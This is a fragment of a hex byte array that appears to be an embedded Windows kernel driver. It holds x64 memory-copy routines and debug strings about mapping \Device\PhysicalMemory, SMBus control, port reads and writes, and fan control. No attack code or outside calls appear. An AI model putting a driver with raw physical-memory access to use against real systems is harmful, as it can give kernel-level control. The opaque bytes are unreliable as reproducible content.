0x0F, 0x75, 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, - 0xFA, 0x00, 0x02, 0x00, 0x00, 0x72, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, - 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, - 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, - 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x04, - 0x0A, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0x10, 0x66, 0x0F, 0xE7, 0x01, 0x66, - 0x0F, 0xE7, 0x49, 0x10, 0x48, 0x83, 0xC1, 0x40, 0xF3, 0x0F, 0x6F, 0x44, - 0x0A, 0xE0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xF0, 0x66, 0x0F, 0xE7, 0x41, - 0xE0, 0x66, 0x0F, 0xE7, 0x49, 0xF0, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, - 0xE8, 0x00, 0x02, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, - 0x73, 0x99, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x05, 0x0F, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x79, 0xFE, 0xFF, - 0xFF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x49, 0x03, - 0xC8, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x4F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x03, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x48, 0x83, 0xE9, - 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xEF, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x8A, 0x44, 0x0A, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x88, 0x01, - 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x48, 0x83, 0xFA, 0xF0, 0x77, 0x74, 0x48, 0x8B, 0xC1, 0x83, - 0xE1, 0x0F, 0x74, 0x11, 0x4C, 0x2B, 0xC1, 0x48, 0xF7, 0xD9, 0xF3, 0x0F, - 0x6F, 0x44, 0x02, 0xF0, 0xF3, 0x0F, 0x7F, 0x40, 0xF0, 0x48, 0x03, 0xC8, - 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, 0x81, 0xF9, 0x00, 0x20, - 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x1F, - 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xE0, - 0x48, 0x83, 0xE9, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0x10, 0x66, 0x0F, 0x7F, - 0x09, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, 0xA3, 0x48, 0xFF, 0xC9, - 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x0F, 0x75, - 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xFE, 0xFF, - 0xFF, 0x77, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, - 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, - 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x02, 0x00, 0x00, 0xB8, - 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, - 0x6F, 0x4C, 0x0A, 0xE0, 0x66, 0x0F, 0xE7, 0x41, 0xF0, 0x66, 0x0F, 0xE7, - 0x49, 0xE0, 0x48, 0x83, 0xE9, 0x40, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0x10, - 0xF3, 0x0F, 0x6F, 0x0C, 0x0A, 0x66, 0x0F, 0xE7, 0x41, 0x10, 0x66, 0x0F, - 0xE7, 0x09, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, 0xE8, 0x00, 0x02, 0x00, - 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, 0x73, 0x99, 0xF0, 0x80, - 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x0F, 0x85, - 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x7E, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, - 0x2C, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, - 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x47, 0x73, 0x60, - 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x49, 0x89, - 0x54, 0x01, 0xF8, 0x49, 0x83, 0xE9, 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x0F, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0x88, 0x54, 0x08, - 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0x90, 0xC3, 0x66, 0x66, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, - 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, - 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x4D, - 0x8B, 0xD1, 0x49, 0xC1, 0xEA, 0x03, 0x49, 0x83, 0xE1, 0x07, 0x74, 0x1C, - 0x49, 0x83, 0xE9, 0x08, 0x4A, 0x8D, 0x0C, 0xC9, 0x49, 0xF7, 0xD9, 0x49, - 0xFF, 0xC2, 0x4C, 0x8D, 0x1D, 0x06, 0x00, 0x00, 0x00, 0x4F, 0x8D, 0x1C, - 0x8B, 0x41, 0xFF, 0xE3, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, - 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x89, 0x51, 0x20, 0x48, - 0x89, 0x51, 0x28, 0x48, 0x89, 0x51, 0x30, 0x48, 0x89, 0x51, 0x38, 0x48, - 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xCA, 0x75, 0xD8, 0x49, 0x83, 0xE0, 0x07, - 0x74, 0x0A, 0x41, 0x88, 0x54, 0x08, 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, - 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, - 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, - 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, - 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, - 0x53, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x50, 0x56, 0x4F, 0x49, 0x44, - 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, - 0x64, 0x20, 0x3A, 0x28, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x70, 0x75, - 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x4C, 0x65, 0x6E, 0x67, 0x74, - 0x68, 0x3D, 0x25, 0x64, 0x2C, 0x73, 0x7A, 0x69, 0x65, 0x6F, 0x66, 0x28, - 0x50, 0x56, 0x4F, 0x49, 0x44, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, - 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, - 0x6C, 0x6C, 0x79, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, - 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, - 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x5A, 0x77, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x53, 0x4D, 0x42, - 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x49, 0x6E, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, - 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, - 0x61, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, - 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, 0x61, 0x64, 0x20, 0x25, 0x64, 0x20, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x25, 0x64, 0x20, 0x74, 0x6F, 0x20, - 0x25, 0x64, 0x00, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x49, 0x4F, 0x20, - 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, - 0x65, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x68, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4D, 0x00, 0x65, 0x00, - 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0xCC, 0xCC, - 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x3D, 0x30, 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, - 0x4F, 0x4E, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, - 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x4F, 0x46, 0x46, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x43, 0x68, 0x6B, 0x43, - 0x50, 0x55, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x00, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, - 0x72, 0x65, 0x64, 0x20, 0x43, 0x50, 0x55, 0x54, 0x65, 0x6D, 0x70, 0x50, - 0x77, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, - 0x63, 0x74, 0x6C, 0x53, 0x4D, 0x49, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x73, - 0x69, 0x7A, 0x65, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x74, 0x63, - 0x68, 0x20, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x31, 0x2E, 0x39, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, 0x00, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, - 0x2E, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x61, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, - 0x78, 0x74, 0x5F, 0x64, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x64, - 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x70, 0x3D, 0x20, - 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x34, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x64, 0x62, 0x67, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, - 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x6F, 0x72, 0x67, 0x5F, 0x61, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x6F, - 0x72, 0x67, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, - 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x56, 0x61, 0x6C, 0x69, 0x64, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x50, 0x61, - 0x67, 0x65, 0x41, 0x64, 0x64, 0x72, 0x2D, 0x3E, 0x64, 0x77, 0x48, 0x61, - 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x56, 0x41, 0x3D, 0x25, 0x78, 0x2C, 0x73, - 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0x50, 0x68, 0x79, 0x73, - 0x69, 0x63, 0x61, 0x6C, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, - 0x3D, 0x25, 0x78, 0x2C, 0x64, 0x77, 0x4C, 0x69, 0x6E, 0x73, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x44, 0x65, 0x73, 0x74, 0x3D, 0x25, 0x78, 0x2C, - 0x53, 0x72, 0x63, 0x3D, 0x25, 0x78, 0x2C, 0x73, 0x69, 0x7A, 0x65, 0x3D, - 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x53, 0x69, 0x7A, - 0x65, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x28, 0x46, 0x52, 0x45, - 0x45, 0x5F, 0x50, 0x48, 0x59, 0x53, 0x5F, 0x4D, 0x45, 0x4D, 0x29, 0x20, - 0x49, 0x6E, 0x73, 0x75, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6E, 0x74, - 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x6F, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x56, 0x41, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, - 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3D, 0x25, 0x78, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x53, 0x69, 0x7A, 0x65, - 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, - 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x72, 0x5B, 0x30, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x31, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x32, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x33, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x34, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x35, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x52, 0x65, 0x74, 0x20, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x30, 0x78, - 0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 